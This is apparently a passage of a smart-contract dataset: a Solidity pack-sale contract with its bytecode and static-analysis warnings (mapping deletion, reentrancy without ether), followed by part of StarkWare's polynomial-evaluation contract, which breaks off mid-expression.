_startDate, uint64 _endDate ) external onlyOwner whenNotPaused { activityStorage.createActivity(_activityId, _buyLimit, _packPrice, _startDate, _endDate); emit ActivityCreated(_activityId); } // Very dangerous action and should be only used for testing // Must pause the contract first function deleteActivity( uint16 _activityId ) external onlyOwner whenPaused { activityStorage.deleteActivity(_activityId); } function getActivity( uint16 _activityId ) external view returns ( bool isPause, uint16 buyLimit, uint128 packPrice, uint64 startDate, uint64 endDate ) { return activityStorage.activities(_activityId); } function bid(uint16 _activityId, uint16 _packId) external payable whenNotPaused { bool isPause; uint16 buyLimit; uint128 packPrice; uint64 startDate; uint64 endDate; (isPause, buyLimit, packPrice, startDate, endDate) = activityStorage.activities(_activityId); // not allow to bid when activity is paused require(!isPause); // not allow to bid when activity is not initialized (buyLimit == 0) require(buyLimit > 0); // should send enough ether require(msg.value >= packPrice); // verify startDate & endDate require(now >= startDate && now <= endDate); // this pack is not sold out require(activityStorage.getBuyerAddress(_activityId, _packId) == address(0)); // buyer not exceed buyLimit require(activityStorage.getAddressBoughtCount(_activityId, msg.sender) < buyLimit); // record in blockchain activityStorage.sellPackToAddress(_activityId, _packId, msg.sender); // emit the success event emit ActivityBidSuccess(_activityId, _packId, msg.sender); } }
0x6060604052600436106100e25763ffffffff60e060020a60003504166311ce026781146100e75780632020e9ea146101165780632aed7f3f1461012d5780633a01e53a1461014c5780633f4ba83a146101bb5780635c975abb146101ce5780635fd8c710146101f557806369d037381461020857806383197ef0146102275780638456cb591461023a5780638da5cb5b1461024d57806391e5031414610260578063a22d5a5114610273578063a7cebd4d1461028d578063b5794222146102d5578063ba6763ce146102e8578063dd1b7a0f146102fb578063f2fde38b1461030e575b600080fd5b34156100f257600080fd5b6100fa61032d565b604051600160a060020a03909116815260200160405180910390f35b61012b61ffff6004358116906024351661033c565b005b341561013857600080fd5b61012b600160a060020a036004351661062d565b341561015757600080fd5b61016661ffff600435166106cc565b604051941515855261ffff90931660208501526fffffffffffffffffffffffffffffffff90911660408085019190915267ffffffffffffffff91821660608501529116608083015260a0909101905180910390f35b34156101c657600080fd5b61012b610762565b34156101d957600080fd5b6101e161083c565b604051901515815260200160405180910390f35b341561020057600080fd5b6101e161084c565b341561021357600080fd5b61012b600160a060020a03600435166108c8565b341561023257600080fd5b61012b6109d4565b341561024557600080fd5b61012b610a8f565b341561025857600080fd5b6100fa610b13565b341561026b57600080fd5b6101e1610b22565b341561027e57600080fd5b61012b61ffff60043516610b32565b341561029857600080fd5b61012b61ffff600435811690602435166fffffffffffffffffffffffffffffffff6044351667ffffffffffffffff60643581169060843516610bc3565b34156102e057600080fd5b61012b610ccf565b34156102f357600080fd5b6101e1610d88565b341561030657600080fd5b6100fa610e28565b341561031957600080fd5b61012b600160a060020a0360043516610e37565b600254600160a060020a031681565b60008054819081908190819060a060020a900460ff161561035c57600080fd5b600354600160a060020a031663857e996b8860405160e060020a63ffffffff841602815261ffff909116600482015260240160a060405180830381600087803b15156103a757600080fd5b5af115156103b457600080fd5b505050604051805190602001805190602001805190602001805190602001805194995092975090955093509091505084156103ee57600080fd5b600061ffff8516116103ff57600080fd5b6fffffffffffffffffffffffffffffffff831634101561041e57600080fd5b8167ffffffffffffffff16421015801561044257508067ffffffffffffffff164211155b151561044d57600080fd5b600354600090600160a060020a031663ff70c4d1898960405160e060020a63ffffffff851602815261ffff928316600482015291166024820152604401602060405180830381600087803b15156104a357600080fd5b5af115156104b057600080fd5b50505060405180519050600160a060020a03161415156104cf57600080fd5b60035461ffff851690600160a060020a0316636310d902893360405160e060020a63ffffffff851602815261ffff9092166004830152600160a060020a03166024820152604401602060405180830381600087803b151561052f57600080fd5b5af1151561053c57600080fd5b5050506040518051905061ffff1610151561055657600080fd5b600354600160a060020a0316636922eb0688883360405160e060020a63ffffffff861602815261ffff9384166004820152919092166024820152600160a060020a039091166044820152606401600060405180830381600087803b15156105bc57600080fd5b5af115156105c957600080fd5b5050507f4011bd1a7140f1b78b187a866da338e637192a7bdbae2fcdaaed25affb412f8087873360405161ffff9384168152919092166020820152600160a060020a039091166040808301919091526060909101905180910390a150505050505050565b6000805433600160a060020a0390811691161461064957600080fd5b60005460a060020a900460ff16151561066157600080fd5b506000548190600160a060020a038083169163f2fde38b911660405160e060020a63ffffffff8416028152600160a060020a039091166004820152602401600060405180830381600087803b15156106b857600080fd5b5af115156106c557600080fd5b5050505050565b6003546000908190819081908190600160a060020a031663857e996b8760405160e060020a63ffffffff841602815261ffff909116600482015260240160a060405180830381600087803b151561072257600080fd5b5af1151561072f57600080fd5b5050506040518051906020018051906020018051906020018051906020018051949b939a50919850965091945092505050565b60005433600160a060020a0390811691161461077d57600080fd5b60005460a060020a900460ff16151561079557600080fd5b600154600160a060020a031615156107ac57600080fd5b600254600160a060020a031615156107c357600080fd5b600254600160a060020a033081169116638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b151561080657600080fd5b5af1151561081357600080fd5b50505060405180519050600160a060020a031614151561083257600080fd5b61083a610ee8565b565b60005460a060020a900460ff1681565b600154600080549091600160a060020a0390811691839133811691161480610885575081600160a060020a031633600160a060020a0316145b151561089057600080fd5b81600160a060020a03166108fc30600160a060020a0316319081150290604051600060405180830381858888f1979650505050505050565b6000805433600160a060020a039081169116146108e457600080fd5b600160a060020a03821615156108f957600080fd5b5080600160a060020a0381166301ffc9a77f9f40b7790000000000000000000000000000000000000000000000000000000060405160e060020a63ffffffff84160281527fffffffff000000000000000000000000000000000000000000000000000000009091166004820152602401602060405180830381600087803b151561098257600080fd5b5af1151561098f57600080fd5b5050506040518051905015156109a457600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a039290921691909117905550565b6000805433600160a060020a039081169116146109f057600080fd5b60005460a060020a900460ff161515610a0857600080fd5b600254600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610a4757600080fd5b5af11515610a5457600080fd5b50505060405180519050905030600160a060020a031681600160a060020a031614151515610a8157600080fd5b600054600160a060020a0316ff5b60005433600160a060020a03908116911614610aaa57600080fd5b60005460a060020a900460ff1615610ac157600080fd5b6000805474ff0000000000000000000000000000000000000000191660a060020a1790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b600054600160a060020a031681565b60025460a060020a900460ff1681565b60005433600160a060020a03908116911614610b4d57600080fd5b60005460a060020a900460ff161515610b6557600080fd5b600354600160a060020a031663a22d5a518260405160e060020a63ffffffff841602815261ffff9091166004820152602401600060405180830381600087803b1515610bb057600080fd5b5af11515610bbd57600080fd5b50505050565b60005433600160a060020a03908116911614610bde57600080fd5b60005460a060020a900460ff1615610bf557600080fd5b600354600160a060020a031663a7cebd4d868686868660405160e060020a63ffffffff881602815261ffff95861660048201529390941660248401526fffffffffffffffffffffffffffffffff909116604483015267ffffffffffffffff908116606483015291909116608482015260a401600060405180830381600087803b1515610c8057600080fd5b5af11515610c8d57600080fd5b5050507fe4f5fd0349c3ee5c3d79f73440e2304b49ff2aae9b05d1e65b8c99d596dc03268560405161ffff909116815260200160405180910390a15050505050565b6000805433600160a060020a03908116911614610ceb57600080fd5b60005460a060020a900460ff161515610d0357600080fd5b600254600160a060020a0316638da5cb5b6040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610d4257600080fd5b5af11515610d4f57600080fd5b50505060405180519050905030600160a060020a031681600160a060020a031614151515610d7c57600080fd5b80600160a060020a0316ff5b600154600080549091600160a060020a0390811691839133811691161480610dc1575081600160a060020a031633600160a060020a0316145b1515610dcc57600080fd5b600254600160a060020a0316635fd8c7106040518163ffffffff1660e060020a028152600401602060405180830381600087803b1515610e0b57600080fd5b5af11515610e1857600080fd5b5050506040518051949350505050565b600154600160a060020a031681565b60005433600160a060020a03908116911614610e5257600080fd5b600160a060020a0381161515610e6757600080fd5b6000547f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e090600160a060020a031682604051600160a060020a039283168152911660208201526040908101905180910390a16000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b60005433600160a060020a03908116911614610f0357600080fd5b60005460a060020a900460ff161515610f1b57600080fd5b6000805474ff0000000000000000000000000000000000000000191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15600a165627a7a72305820a9d99fcea9fa0f1182d4755154fbafaec89a7fbaab397bbf64ffe80fd4cbd2960029
{"success": true, "error": null, "results": {"detectors": [{"check": "mapping-deletion", "impact": "Medium", "confidence": "High"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}]}}
1,746
0xb2B0df178cc86A223fCAA137B7E543F188d33e2d
/* Copyright 2019,2020 StarkWare Industries Ltd. Licensed under the Apache License, Version 2.0 (the "License"). You may not use this file except in compliance with the License. You may obtain a copy of the License at https://www.starkware.co/open-source-license/ Unless required by applicable law or agreed to in writing, software distributed under the License is distributed on an "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the specific language governing permissions and limitations under the License. */ pragma solidity ^0.5.2; contract EcdsaPointsXColumn { function compute(uint256 x) external pure returns(uint256 result) { uint256 PRIME = 0x800000000000011000000000000000000000000000000000000000000000001; assembly { // Use Horner's method to compute f(x). // The idea is that // a_0 + a_1 * x + a_2 * x^2 + ... + a_n * x^n = // (...(((a_n * x) + a_{n-1}) * x + a_{n-2}) * x + ...) + a_0. // Consequently we need to do deg(f) horner iterations that consist of: // 1. Multiply the last result by x // 2. Add the next coefficient (starting from the highest coefficient) // // We slightly diverge from the algorithm above by updating the result only once // every 7 horner iterations. // We do this because variable assignment in solidity's functional-style assembly results in // a swap followed by a pop. // 7 is the highest batch we can do due to the 16 slots limit in evm. result := add(0x5d4c38bd21ee4c36da189b6114280570d274811852ed6788ba0570f2414a914, mulmod( add(0x324182d53af0aa949e3b5ef1cda6d56bed021853be8bcef83bf87df8b308b5a, mulmod( add(0x4e1b2bc38487c21db3fcea13aaf850884b9aafee1e3a9e045f204f24f4ed900, mulmod( add(0x5febf85978de1a675512012a9a5d5c89590284d93ae486a94b7bd8df0032421, mulmod( add(0xf685b119593168b5dc2b7887e7f1720165a1bd180b86185590ba3393987935, mulmod( add(0x2bc4092c868bab2802fe0ba3cffdb1eed98b88a2a35d8c9b94a75f695bd3323, mulmod( add(0x22aac295d2c9dd7e94269a4a72b2fb3c3af04a0cb42ed1f66cfd446fc505ee2, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x44a14e5af0c3454a97df201eb3e4c91b5925d06da6741c055504c10ea8a534d, mulmod( add(0x749e86688f11d3d0ef67e4f55535c715a475ceec08547c81d11de8884436d8d, mulmod( add(0x703dcca99c0a4f2b2b7f1b653dbbf907dd1958c248de5dcb35be82031f7d170, mulmod( add(0xb0e39f10e5433b2341ecef312e79ed95d5c8fe5a2e571490dd789dad41a2b9, mulmod( add(0x52e5e75be2c96802a958af156a9e171dc7d5cfa7f586d90ed45027e57c5fe92, mulmod( add(0x66d15398bbd83688bda1d5372e048536a27d011f0f54a6311971822f55f9c07, mulmod( add(0x529414d56e9f6bf4ce8be38c8f79ffab78b185da61d606c411098f981f139a, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x7fdc637318ea00385719f9ce50848d13cc955eef9f36a90b87e646dac85e3aa, mulmod( add(0x39d9d83e0ac884a5ee0f2d227f9eda71724a55002a41938458e45251e121308, mulmod( add(0x785dc572a88712cb4eddcc8a167bb1b62f9a79282f21ee92a0374af76169344, mulmod( add(0x1d0f94ce5d9d3beaa42ebed05a2f172aa2227e9a9fee0bf43a3fb068c1ac345, mulmod( add(0x51170abac6896de6a5b478741dd56f52b1d2a1feea59b1f26d060e09ed98b32, mulmod( add(0x5e2909b1136e1d6608663e5cbabb616b28d2fd6f5dfb7cd03c4a7e719b7c53f, mulmod( add(0x6cd537aebc479350e63acbcf7b9da84f4b06c6c26a571d3a7dd416a94a956ca, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x2d626ebcfae2d3618e350c190fc636495fbb04dd4a4e563680fb961a3d30d8, mulmod( add(0x6f4ab1f3bccea47669a4c93da36db05bd6f5197945b5ab29191a703312ed3a8, mulmod( add(0x3ca8d84242dd2bd2a5d6e644fa1dc9f5082ee6131b6f0db8fd7d4f87109098b, mulmod( add(0x5b0343972ee9e17afaf76adc54e6797d54e6e47a7ea1167654ce076e3c6c360, mulmod( add(0x62773dee1773834dbb324c4c0d48dcdf9bbf0511547feb1b2ab0f7af7fa2dc2, mulmod( add(0x4c484b2cc04747d8d812180ec716f779302231983fa17971b575274c0a9c378, mulmod( add(0x72d82458ba49cd6c638f89d2e3a68e49944f486cdfb7d2848e51aa9f99292a4, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x7850ac1ef437d1b99c026a910b2437c1b877242e605c8f31a456f10e2f78743, mulmod( add(0x58a6d8229d82c192f190e55d28489f621cbcc64e4ef10c1ec5663c5384e60f, mulmod( add(0x98ad9c2080ba0663fb302025e6224cff41d1d30c5c9101ad77a48a71d8ac, mulmod( add(0x4f8cecab5f743c7227a63fa7f320930ffa7cc52b0fff6c351d3e9d4c22f9f9a, mulmod( add(0x150c633a21f3cfa157978e9561161f3953e180b9588347a0c819e4173afcfa8, mulmod( add(0x34b7ebee71c5876183407c57610a0a8a33d3138ccd6ae416651cd505e5761d9, mulmod( add(0x42f0a74ce045e8194b7a5cac4e882b1f1a9face49c38fb3383cfd3d960806c, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x70af32c484244d3435bb65b0ed076f48d06abb45b7765de9c6f26c1c8e9156d, mulmod( add(0x75275c33b919425b271966642fabd9ea7c917e70e96eda669040935b1d49db6, mulmod( add(0x7122e4b28d4ee35902b7f7b8ad5f525b6c70a2f2bb6b4ee4b9f0008845ffacf, mulmod( add(0xc1bbae3cf2d414dc12119a0c746e3c10e148f8b522d574eff757d44d8b3a14, mulmod( add(0x38ada3df52cd03154d66b7da4a8a01835a461e61a76ac9576649d8c00013610, mulmod( add(0x95fd265a2a87c42af5a20a199e6730ee3f0e3352a38a5e7e84ef46c621903d, mulmod( add(0x337092590652e19c23b48de3629ae0bd4157a5a72ecd3fcd17bb93f05814716, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x5643c5a69044bb8e86d10d3248ea3f50f8598732b0c517b256fe108294e09f3, mulmod( add(0x552e18bfefab6c3362cec587f0a7433a914f1359e5767b4fe883f1ad902dd13, mulmod( add(0x3a2a902a0e43ab33c19459984fe116fb215796cb40c48e254de6126b55e9c3, mulmod( add(0x6925415cd4dbae0ea5e9f41edcb503ff6f668da1cb13ec73eab6a99cd96752a, mulmod( add(0x412fcd2551c0516392f685a62b54fb82b9a73bcffd42abecea4482b65aeea47, mulmod( add(0x55713c4cc9f91e9f158f70683238853d0bb7cbd8358ff72b01fb60808b5c1de, mulmod( add(0x47c78a993a13204796a2fca3b20c0f02c0601e7cc59f84570fa026c65796dc9, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x1f7d548c5a6f2bc70ff6f8ee47f38221ae25dcb4f9b068054ee66227494f87, mulmod( add(0x224fe4f546c8f999947a5864ed0dbcd64fcac6f774ebce11667c2bbb7d8603, mulmod( add(0x6dfc1fb08b981f73911dc43811caa0ed99749c2f0903f87f389c9a0e2a88126, mulmod( add(0x1a4393bce3924d765902469c715fedeea69adca566859b4c8c412b7d7cb566d, mulmod( add(0x57d53073d66a528c88f24e40011321f74ce5bdbecd6ca319e5e770ae29b21da, mulmod( add(0x2a2811098d68a747bebe9ca2eae06b604bb307e5f51a9bdac1636f380feabb5, mulmod( add(0x542f931640d9010e906b7e1e375cd0481740157eb51500ea1e10afe77f26265, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x268c1e10f6f9969291b1d2f54289371a2f40a14cc67b3736e04eb891c1824ed, mulmod( add(0x352b933e5d853527d2a4317db613d07117fad8115948957515bc07d72e161f5, mulmod( add(0x44e3645cc1b135410b2a52a5b92bcb454985033615453a51ac46377885c4309, mulmod( add(0x27092905558602aec9af09947b70bb974caa3dd7cb1cb991810e15d75194aa6, mulmod( add(0x14ac38a4b82b4c65e4993726b58f32c74988997b8e8f7729fe9032cf187896d, mulmod( add(0x66ec70c796374a71b6aec5520467ebed547f645d1670b990dfa680a1b415cd, mulmod( add(0x735f4476c2b51acb4f0dd9dbc4306108e37543538b2cd3cd2327ae5377a2e5d, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x6b86f825e41b2c9934f71cc2cb08787d1bd4f2eefd2be9c44e37bf387b35940, mulmod( add(0x699e679a8f38a1ecb14c6695a2848c6abbab8a05003e43aa5cf4a9c6e6058f2, mulmod( add(0x40a3ea8c4059a1b9138884234381d6d383e66dd48eac1bf05f5fcddd593c881, mulmod( add(0x356591a80d5c2e14c3d8a180c030a9529a8580a4f3be00a5a9eea83d0d585f0, mulmod( add(0x106911de08ef437acabf58d178db7c81ff4d7de25f3ef5cd2582f44176d449e, mulmod( add(0x67dec5ad6ddb1761ec61d2820533f7a2bb56d66f2fb8ecff9cbe28218990061, mulmod( add(0xaa81707e389769aeb31cc8b45276af0370dd702ac79461bae0a4078cefb5df, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x164344bae5b9dca8f384612e7351fecde28adee3d245c98dc2f65509b181d8e, mulmod( add(0xe5e89fde76daa211fadf1178785f0c25a94d47a468cda257a895b871a928c2, mulmod( add(0x20ffc2b4c6c318bee0cdfdca40b2c10f2c629d3b52472b17c1bfd909cb7b85a, mulmod( add(0x781cf0ea1c0ba9cf908656aa2c5a9403d54c26c8ece401a2c13be8d3090f9c1, mulmod( add(0x367ea925556a875faedf4d61bd2a95a31067bde6e682c50035bb3310cc54b03, mulmod( add(0x7b0ed28b968689517aaa216c0203e57f1cf56b22ff1213561499ae140d37fa2, mulmod( add(0x4eb2786b11bc602bbf773564eb9b057d7dc02daaf4359c015295d97b74e72bb, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x5dd4b3dd252fa7eda7b46674369a2f8c5b00a891cf01ada0ea5aada8bfbf6d4, mulmod( add(0x62334e7d6094be4431aeebefc420f7e656459d6fc2cb10455123ede054f4cdf, mulmod( add(0x64c71feb673d2655bb1865f9c4bdfb16b1bcd0f278a911363056674dacb812f, mulmod( add(0x7a5d11f284ee7db72bed2338784d6467e05cae85f333e05c5610c018a57c2a7, mulmod( add(0x72c11bd84cd54152607e4c6e558a28e480a6487e374b865682c167484f8c29b, mulmod( add(0x546f65cf3367a004f10e9a4e47d71f6ec80086cb2be19d7b225825e01eb323, mulmod( add(0x4063a6202df9488fe5384aaf7be7610b3e88a9c01486c1b88767ca36355340, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x741b0f4e1bf8ed4d6318f5dc5ebba8529089f5ef4a84cd727564c60cc11a96f, mulmod( add(0x767d8839373a2e97b7e3de1be6f4c18df648806920e92fcc4da9ab6bd8525ce, mulmod( add(0x45ba7e524d75c65ab27b57a6e0b90458c9b0eb651935f84898a5d3cd0db9b8e, mulmod( add(0x24327b5849aaae0d313870c10e8010a115b70a99cf6b92925f51d2f05686287, mulmod( add(0x16f35b8d34d425a85fe48e66632d3e4af27d5d65cb180cb99047fdc2b908ea6, mulmod( add(0x42a6c571001e263b1ec8168805bf4d6cb65935cd0687c696ae3a6968fd28378, mulmod( add(0x3373dcd7d0f0f8bb31ec396e1ec67e1f121121356dba549bce9fd4d3bbfbaad, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x3a967c407600baaac716275b8fa16a08c22e928d895c762b2843d00496b3390, mulmod( add(0xac01d3129d24fe9b9209df8bfeb2526bc27e9c27d78f69eac16ce151b13540, mulmod( add(0x29a66c93ef1fa5ac4b6f96ed329810085b294a7ab8e16c61b1e225fd7406236, mulmod( add(0x327bd35b3ec38fb121c039f777669426d3d60df3922e688a408a06d4e7ee3a1, mulmod( add(0x5d6575134d1b37e610f25e65bc8b0b1ad7fd0cdcaa56fe573142a09707640b5, mulmod( add(0x68edfc809bfa6534b583624db421a2cb885d2ce888e6f95eae85ad9cb38249d, mulmod( add(0x68682814e1b4dd639cf396a9f60efe5ca035c6ccd75054b8911e8a15230efa7, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x2c82b2a99d198138ca2c4229a1929d044b113c1b0f693659712318ca7e7f804, mulmod( add(0x21df6648e6f783b7361a20191b8d399a4373dcbcc83f6b4a9a40bf11956219c, mulmod( add(0x7a615360e826e937db0c91cc1c9196086a3fd608cb01d20186ba1ce856904ed, mulmod( add(0x580bd7107af3afc93d0cfd1f0bd39f78f06ebe3a900f5d79943c25e980e5653, mulmod( add(0x3abd943152451107f59aa81194e7bbbe37c4a86a6b41e20a02f8145dd32fa87, mulmod( add(0xa8a00bb9874fbb44ee3411814dfb9d4d6048f5e3af6f7f09fff4e9f0263901, mulmod( add(0x4d111629c799fb16f602183ae372aee382e0b401312951eefe77a1674575242, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x51f4698c121db3db4a5244334c5180cfba256dc80a59689e2c0f1f8d946e6c, mulmod( add(0x5ae517bdefe7b6785680842685de0b5cd972a22dae9ceb50a6ea3665feb06f0, mulmod( add(0x46efbcd0bd7f06d59a430ddeb9f239d66a24ce1fa72f5dbcc2bab48b707b2dd, mulmod( add(0x164d44fb88efb41e301934bf2c61a20e41c9bcb3f8e784ac5857063b4fc3d5a, mulmod( add(0x3360af40b57c0a951da3219025643a76516f85119dfbb05f61874eb3b56b130, mulmod( add(0x1e54c3a5a3beca7932090ff58784aa43261075950feaab0e2a840f3801b81b9, mulmod( add(0x6dd74321080cc46d816a963c8a6f5dac42cb11e66c79831efba77433cce0d23, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x6f682eebabbcbfa3e7084b47b2a01acb693865749df222b4b8dee0ec41903cb, mulmod( add(0x5fa6f7f2a7a527880a5b58911dd7f3a491fc702f481cee30e67c4980092f851, mulmod( add(0x1a36f20817da4dc0c2e8b62fa08ce15cd3cb50419acf5211d6948bd6b28c8ce, mulmod( add(0xdb0ad3bd8a33b8daf1d53ff8604bbe5259b6620e3b547d5c6f392dbc10ccd5, mulmod( add(0x44be18892438118a0b3fc099da7489a89cffd4206678abfd37b1e649ad19178, mulmod( add(0x3dab30754623b91aec7a165cc167e9003269ebab3e551781e4c8cfb73402de7, mulmod( add(0x67d2681fae96c0b4bf22d10a73a1882c5bf4a5440f8d0458394d514ff7bd18b, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x4182bea2ea16dcacb0194876cd5fe8c79e1a55836aff8aa6074d235af5f7b29, mulmod( add(0x2300892e3f3c180333d091901ba99ab9e23c7947309b9e88ad47025847ec3a0, mulmod( add(0x23f0124cd1c3f3605fa1ec36dc4d6cb6e229f8ba8998b138a44595f96f3bf21, mulmod( add(0x3054d35b59baf5b0a2078c23322de031b383033837cd6b978b6c060120b7fb3, mulmod( add(0x34369f479f013d44dd5bb0d79d8a9effdb2ca36ce8b3d7e759bf707233c5bbe, mulmod( add(0x7172b43d0c88348e5453b0b26d54d4a7ad7e99e6b0c4b787341c8d89936197e, mulmod( add(0x1fd7088411b30cb5762147b1d6749942485b36c68ea32f60ab83fdcbe987d83, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x22a7b1c897f54da39a1db61b345b234969e36ef6ba0ea02f8d8b3e83b5c6242, mulmod( add(0x734438bc30566591da45df9366f936415d29eaeaeab392488bcccb9acf0edcf, mulmod( add(0x17626d3869adf0fdd3fedd48e9fe1266bb33419bfe9046df43c6409b440980e, mulmod( add(0x2bebc90c59dc0e37e28c7c7d8254520ce08894637bf1a089aed26012690d119, mulmod( add(0x2693f31fd4bb5a1ef9cacdc4f2b33c3d6d965b76e7bf289020ab1b6c6660d70, mulmod( add(0xc37f91c81a7006d6681cb511dab2e4d83928ccb78d1dc72c4c556e4cd72db8, mulmod( add(0x50f3e383aaf3533fc91b9633386542798abd69b79af893f47f6603d3cc35ea4, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x17f2709d2719458a9bf72a2b04463f0a6529fd9368a47715c628ba4e006cea, mulmod( add(0x4b540d0085be455b24f014bf51dc7d0eceb8c93bb644a5208fa02dc58c718ae, mulmod( add(0x1b1c82e5c561dc42f8c9c2a9f7db6bacd729b2646892a8ecfae9ead9a338aa6, mulmod( add(0x375ce3766894524209e2043a150f10ad0bf4f726e3dc5453c3c757e56943a51, mulmod( add(0xb10494024548b14df121b738abc7babe56c12acc0490699443426a52f3a4f9, mulmod( add(0x193185be6e02dc0a07c0dced4ed031bf0a406219cce325e76408123406c318b, mulmod( add(0x22eef827b9d0b57649233c5d527b4641decab31df78347a20da21c705df093b, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x56017977a273ad0e91c7c26a702ae4508343e97968295b08447b3cc7f20522f, mulmod( add(0x4efcba706a8b7868e32f363efac2696ad0625d046a3ef97917c710515016386, mulmod( add(0x31d335bd885c9cdf2adc68ab45b8eecd2d3588cf85b93206896b2626eb1e369, mulmod( add(0x7ba5194da963f8224987db2720f16baa604ff62351e66a63c0c9dba00fbc7c4, mulmod( add(0x4d3b0654fd74862a92aa716af33b5ad5ac20dc0460c724d95ca94fe6d8a9d7e, mulmod( add(0x29cc816e6be353f6ad5e2c390f37ed3940b0dd67610a7eeb0bcded94bdcf920, mulmod( add(0x20e468bb2828fb774d5ab538ff7f93ada201c2e392936e05cec29cd5a7a462d, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x6e1143b147dd1bcc56dd43e6a3616c9a4016d6887cf0009ebf9f9796efc944a, mulmod( add(0x4f9e975176d3aacd79c322d013c854c4b8829d1e469c9b242461f35e8dc6fed, mulmod( add(0x88f6e5a835dfda9fa2e2ff248d9378352f4a89b6bf5935700da390baebadb7, mulmod( add(0x62fc206aa283139f7451e54cdac873fe86b6e7e89214a3c0318fbcaf6016fa4, mulmod( add(0x1b389d976c22a3bfb42424896c9b135a3794048724c729968f81e04ce414194, mulmod( add(0x4237c41364975eb79919303fc0a381b934befe871fdbd72c18f97627292923e, mulmod( add(0x16416cc193a5ced6ff213fc18c86bd6f08d17c576f26b9ebd00d2653bbd6444, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x58f2e18613b3b25529935a623e7d5c8318ca9ff3fb180f16f7454ca9e348e35, mulmod( add(0x2830a6edb344b7fa86506557a0b2b0bd900429218fb35e7990951fe4fe869c6, mulmod( add(0x1f573af6e3ad146eeaa582f540de6a8db237ff2f28423660de998a4275bf4d0, mulmod( add(0xdaf5a68420fa7ad811f6dc75c5b4e92173a5d89255dc75accb8cec80a9cd91, mulmod( add(0x59cd87f8751437900e984a009c63fdf7461b177067760f30d4f648ab271660a, mulmod( add(0x60c327ef73c8468805ecace45a33ccc375fc91ffbf01b4b10a01ffd4b7aaefe, mulmod( add(0x284c547c04ca83fdb01020cfc797eb362838317f09e5d25e1e4eef353ab7a7f, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x16617a52bfe5d2fd0eedb0d6411f5fafeb14a4ac17da0cc828c914acb500ce9, mulmod( add(0x3030332e9cf430f72159914e59ab9af532bdfdafedc1be39691256c8084954e, mulmod( add(0x2b2a0768e9a5f59e7f33ea449690794c8b409bacd1c808f7ee8065ed9d8648c, mulmod( add(0x13fe84c8ecc2e3fd289560c0ada7a251fdd5fba24c076be4be465feec4262e6, mulmod( add(0x413fda31150aa8462deae8a6043fc5624599fb7f638c4d5c5f89472e1223c28, mulmod( add(0x50d603bf9c2a456b828ae476092affde072ecd878877ec3f99ba8f574d263a2, mulmod( add(0x42c8f0b5507417eb48ffeb1a7df8808633f193c27df8e2f44ee7bd62cb2c3bf, mulmod( result, x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)), x, PRIME)) result := add(0x511c0ad7c0bfdcfcfaf925895a8ef5e8c5e0d147e29c9cdae45fbc998fce346, mulmod( 